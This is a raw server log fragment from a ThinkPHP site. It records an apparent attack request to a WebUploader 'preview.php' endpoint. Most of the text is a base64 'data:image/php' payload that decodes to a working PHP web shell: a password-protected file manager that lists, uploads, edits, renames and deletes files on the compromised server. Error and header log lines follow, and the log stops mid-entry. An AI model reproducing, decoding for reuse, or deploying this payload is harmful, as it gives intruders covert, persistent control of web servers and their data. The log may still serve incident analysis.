'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:37+08:00 ] 116.213.36.234 POST www.51tianwei.com/app/app/webuploader/0.1.5/server/preview.php [运行时间:0.002720s] [吞吐率:367.63req/s] [内存消耗:196.80kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'app', 2 => 'app', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 